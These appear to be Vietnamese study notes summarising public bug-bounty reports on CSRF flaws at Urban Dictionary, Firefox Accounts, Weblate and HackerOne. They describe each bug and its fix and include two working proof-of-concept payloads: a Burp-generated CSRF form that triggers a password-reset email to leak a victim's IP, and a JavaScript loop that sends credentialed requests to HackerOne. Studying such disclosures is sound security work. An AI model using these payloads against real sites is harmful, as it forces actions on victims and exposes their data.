CSRF to Reflected XSS at echo.urbandictionary.biz via Spoofing Content Type CSRF XSS RCE
Researcher thấy ứng dụng reflect bất kỳ dữ liệu nào trong request body của POST request khi gửi đến bất kỳ file nào dù có tồn tại hay không. Bằng cách này, attacker có thể gửi đến file có extension là HTML để giả dạng Content-Type là HTML nhằm thực thi XSS payload.
Hơn thế nữa, researcher thấy rằng do toàn bộ nội dung được reflected trong response, attacker có thể gửi request với extension là .exe nhằm làm cho trình duyệt tự động download do khi đó Content-Type trong response là octet-stream. Điều này dẫn đến RCE.
CSRF to Delete a Pet on ██████ CSRF
Endpoint /pets/delete bị lỗ hổng CSRF đối với cả GET và POST method.
CSRF to Information Disclosure on Password Reset CSRF info-disclose
Do email của chức năng reset password có chứa IP của user gửi request, attacker có thể sử dụng CSRF payload sau và dụ nạn nhân click vào nhằm reset password của attacker.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://accounts.firefox.com/reset_password">
<input type="hidden" name="email" value="████████1@gmail.com" />
<input type="hidden" name="reset_password_confirm" value="false" />
<input type="hidden" name="email_to_hash_with" value="" />
<input type="hidden" name="utm_medium" value="email" />
<input
type="hidden"
name="utm_campaign"
value="fx-password-changed-success"
/>
<input type="hidden" name="utm_content" value="fx-reset-password" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>Khi đó, attacker sẽ thu được IP của nạn nhân.
Info
Tồn tại một report tương tự: 2737309 để report việc Mozilla chưa fix hoàn toàn bug này. Điều đáng chú ý là trong report này, h1 đã đánh bug là informative và researcher phải nhiều lần mention h1 analyst để giải thích và đưa ra dẫn chứng về cách mà report trước đó (report ở trên) được acceptted.
CSRF in Watch/Unwatch Projects CSRF
Application có chức năng cho phép watch hoặc unwatch project nhưng có thể được thực thi chỉ bằng cách gửi GET request thay vì gửi POST request kèm với CSRF token. Hai URLs tương ứng với 2 chức năng này là:
- https://hosted.weblate.org/accounts/watch/androbd/
- https://hosted.weblate.org/accounts/unwatch/androbd/
Tip
Developer đã fix bằng cách chỉ cho phép gọi đến 2 endpoint này với method là POST thông qua commit sau: https://github.com/WeblateOrg/weblate/commit/145630eec7e37af8b4bc9b078f94e144b0209b09.
CSRF Allows to Test Email Forwarding CSRF
Chức năng test email forwarding của HackerOne ở endpoint /security_email_forwarding/test_forwarding.json?id=$id không validate CSRF token trong header X-CSRF-Token và có thể bị tấn công CSRF.
PoC script:
<script>
for (i = 300; i < 350; i++) {
var url =
"https://hackerone.com/$program-id/security_email_forwarding/test_forwarding.json?id=" + i
var CSRF = new XMLHttpRequest()
CSRF.open("GET", url, true)
CSRF.withCredentials = "true"
CSRF.send()
}
</script>Info
Report này bị duplicate với pentest finding nên không có bounty.